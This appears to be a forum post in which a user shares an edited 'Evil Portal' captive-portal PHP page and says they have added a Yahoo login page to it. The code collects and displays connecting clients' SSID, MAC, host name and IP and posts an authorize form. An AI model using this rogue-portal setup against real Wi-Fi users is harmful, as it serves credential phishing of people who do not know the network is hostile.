i have added the index.php of yahoo-login code to my destination.php file
also edited it this way
<?php
$destination = " #the path to my basic portal code";
require_once('helper.php');
?>
<HTML>
<HEAD>
<title>Evil Portal</title>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<script type="text/javascript">
function redirect() { setTimeout(function(){window.location = "/captiveportal/index.php";},100);}
</script>
</HEAD>
<BODY>
<div style="text-align: center;">
<h1>Evil Portal</h1>
<p>This is the default Evil Portal page.</p>
<p>The SSID you are connected to is <?=getClientSSID($_SERVER['REMOTE_ADDR']);?></p>
<p>Your host name is <?=getClientHostName($_SERVER['REMOTE_ADDR']);?></p>
<p>Your MAC Address is <?=getClientMac($_SERVER['REMOTE_ADDR']);?></p>
<p>Your internal IP address is <?=$_SERVER['REMOTE_ADDR'];?></p>
<form method="POST" action="/captiveportal/index.php" onsubmit="redirect()">
<input type="hidden" name="target" value="<?=$destination?>">
<button type="submit">Authorize</button>
</form>
</div>
</BODY>
</HTML>
adding path to basic destination code to $destination
